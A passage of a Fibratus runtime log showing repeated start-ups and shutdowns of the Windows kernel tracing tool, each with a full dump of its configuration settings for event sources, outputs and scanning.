systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-fileio=>true enable-registry=>true enable-image=>true enable-net=>true enable-handle=>false enable-vamap=>true enable-mem=>false buffer-size=>512 flush-interval=>1s max-buffers=>36 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 formatter=>text level=>info max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ timeout=>5s bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus sniff=>false healthcheck-timeout=>5s healthcheck=>true enabled=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient passive=>false exchange=>fibratus routing-key=>fibratus durable=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false serializer=>json]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false enabled=>false excluded-procs=>[] skip-files=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:47:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:47:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:51:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:51:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:51:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:51:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:51:55+01:00 level=info msg=bootstrapping with pid 5776. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:51:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-mem=>false enable-fileio=>true enable-image=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true flush-interval=>1s stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false min-buffers=>16 enable-threadpool=>false buffer-size=>512 enable-vamap=>true enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s gzip-compression=>false trace-log=>false healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus enabled=>false sniff=>false timeout=>5s healthcheck-interval=>10s] amqp=>[ routing-key=>fibratus durable=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus enabled=>false vhost=>/ exchange-type=>topic delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false enable-gzip=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false enabled=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-procs=>[] skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:51:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:51:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:52:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:52:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:52:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:52:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:52:50+01:00 level=info msg=bootstrapping with pid 15088. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:52:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true buffer-size=>512 enable-image=>true max-buffers=>36 enable-handle=>false enable-thread=>true enable-audit-api=>true stack-enrichment=>true min-buffers=>16 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-net=>true enable-fileio=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ bulk-workers=>1 enabled=>false sniff=>false gzip-compression=>false trace-log=>false timeout=>5s healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s flush-period=>1s] amqp=>[ exchange=>fibratus passive=>false delivery-mode=>transient vhost=>/ timeout=>5s durable=>false tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic] http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-mmaps=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:52:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:52:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:58:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:58:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:58:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:59:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T20:59:18+01:00 level=info msg=bootstrapping with pid 14096. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:59:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false flush-interval=>1s enable-thread=>true enable-net=>true enable-vamap=>true max-buffers=>36 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-registry=>true min-buffers=>16 enable-audit-api=>true buffer-size=>512 enable-image=>true enable-threadpool=>false stack-enrichment=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 max-size=>100 level=>info log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false enable-gzip=>false timeout=>5s endpoints=>[]] elasticsearch=>[ flush-period=>1s gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] index-name=>fibratus sniff=>false enabled=>false trace-log=>false timeout=>5s bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient timeout=>5s passive=>false vhost=>/ exchange-type=>topic enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-allocs=>false excluded-procs=>[] enabled=>false skip-mmaps=>false skip-files=>false excluded-files=>[] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:59:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:59:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:59:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:59:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:59:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:01:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:01:23+01:00 level=info msg=bootstrapping with pid 1208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:01:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true enable-fileio=>true buffer-size=>512 enable-thread=>true enable-vamap=>true max-buffers=>36 enable-registry=>true enable-threadpool=>false enable-audit-api=>true min-buffers=>16 enable-handle=>false flush-interval=>1s enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-dns=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 max-age=>0 level=>info log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enabled=>false method=>POST serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ timeout=>5s gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s index-name=>fibratus trace-log=>false bulk-workers=>1 template-name=>fibratus flush-period=>1s healthcheck=>true healthcheck-interval=>10s] amqp=>[ exchange-type=>topic passive=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient durable=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true excluded-files=>[] skip-mmaps=>false skip-allocs=>false skip-registry=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:01:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:01:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:01:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:01:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:01:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:02:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:02:00+01:00 level=info msg=bootstrapping with pid 16900. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:02:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ max-buffers=>36 buffer-size=>512 enable-audit-api=>true enable-dns=>false enable-registry=>true enable-fileio=>true min-buffers=>16 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-threadpool=>false enable-thread=>true enable-mem=>false stack-enrichment=>true enable-net=>true flush-interval=>1s enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json enabled=>false timeout=>5s] elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck-interval=>10s index-name=>fibratus enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s sniff=>false flush-period=>1s timeout=>5s] amqp=>[ passive=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false enabled=>false timeout=>5s durable=>false exchange=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:02:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:02:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:05:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:05:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:05:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:08:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:08:44+01:00 level=info msg=bootstrapping with pid 8284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:08:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-dns=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-mem=>false enable-registry=>true max-buffers=>36 min-buffers=>16 enable-audit-api=>true enable-handle=>false enable-vamap=>true enable-image=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text max-size=>100 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false sniff=>false bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s enabled=>false gzip-compression=>false] http=>[ endpoints=>[] enable-gzip=>false enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false routing-key=>fibratus passive=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s vhost=>/] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false skip-mmaps=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false excluded-files=>[] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:08:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:08:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:10:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:10:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:10:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:10:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:10:59+01:00 level=info msg=bootstrapping with pid 8980. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:10:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-dns=>false buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-vamap=>true enable-handle=>false flush-interval=>1s enable-thread=>true enable-mem=>false enable-image=>true enable-fileio=>true enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ vhost=>/ routing-key=>fibratus durable=>false enabled=>false url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ enabled=>false healthcheck-timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s sniff=>false bulk-workers=>1 timeout=>5s healthcheck=>true healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false timeout=>5s endpoints=>[] enable-gzip=>false method=>POST]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-registry=>false excluded-files=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:11:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:11:07+01:00 level=info msg=bootstrapping with pid 7976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:11:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-handle=>false enable-net=>true enable-vamap=>true enable-mem=>false enable-dns=>false enable-image=>true buffer-size=>512 enable-registry=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile 